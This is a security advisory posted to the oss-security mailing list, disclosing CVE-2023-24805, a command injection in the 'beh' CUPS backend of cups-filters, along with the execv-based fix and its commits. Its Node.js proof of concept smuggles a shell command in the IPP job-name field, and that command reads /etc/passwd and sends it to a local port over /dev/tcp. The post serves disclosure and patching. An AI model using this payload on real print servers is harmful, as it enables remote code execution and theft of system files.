|   | 
| 
 | 
Message-ID: <d20c573e-81ca-800d-5bf8-c2f96b31ea82@gmail.com>
Date: Wed, 17 May 2023 11:30:11 +0200
From: Till Kamppeter <till.kamppeter@...il.com>
To: oss-security@...ts.openwall.com
Subject: CVE-2023-24805: RCE in cups-filters, beh CUPS backend
Following bug got reported to OpenPrinting's GitHub, repo cups-filters, 
as a private (security) issue report:
https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-gpxc-v2m8-fr3x
Summary
If you use "beh" to create an accessible network printer, this security 
vulnerability can cause remote code execution.
Details
cups-filters/backend/beh.c
Line 288 in 5c9498a
   retval = system(cmdline) >> 8;
     // (context: argv = beh <job-id> <user> <title> <copies> <options> 
[file])
      snprintf(cmdline, sizeof(cmdline),
      "%s/backend/%s '%s' '%s' '%s' '%s' '%s' %s",
      cups_serverbin, scheme, argv[1], argv[2], argv[3],
            ...
      (argc == 6 ? "1" : argv[4]),
      argv[5], filename);
            ...
    retval = system(cmdline) >> 8;
The system function will be called here to execute the command, and the 
user and title parameters are user-controlled and unsanitized .
PoC
      start a beh service lpadmin -p myprinter -E -v 
beh:/1/3/5/socket://printer:9100
      exploit: // https://github.com/williamkapke/ipp
var ipp = require('ipp');
var PDFDocument = require('pdfkit');
var concat = require("concat-stream");
var doc = new PDFDocument({margin:0});
doc.text("1.pdf", 0, 0);
doc.pipe(concat(function (data) {
var printer = ipp.Printer("http://127.0.0.1:6310/printers/myprinter");
var msg = {
"operation-attributes-tag": {
"requesting-user-name": "Bumblebee",
"job-name": "';env; bash -c \"/usr/bin/cat ${PWD}etc/${PWD}/passwd > 
${PWD}dev${PWD}tcp${PWD}127.0.0.1${PWD}1337\";'' #.pdf",
"document-format": "application/pdf"
},
"job-attributes-tag":{
        "media-col": {
          "media-source": "tray-2"
        }
}
, data: data
};
printer.execute("Print-Job", msg, function(err, res){
console.log(err);
console.log(res);
});
}));
doc.end();
The report got assigned CVE-2023-24805
A fix is to use execv() instead of system() and was proposed as a pull 
request attached to the bug report.
https://github.com/OpenPrinting/cups-filters-ghsa-gpxc-v2m8-fr3x/pull/1
The pull request is merged now into
https://github.com/OpenPrinting/cups-filters (branch "master")
as commit
https://github.com/OpenPrinting/cups-filters/commit/8f274035756
and the fix is also ported to the "1.x" branch of cups-filters, as commit
https://github.com/OpenPrinting/cups-filters/commit/93e60d3df35
The fix will also be included in the upcoming releases, 2.0.0 and 1.28.18.
    Till
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.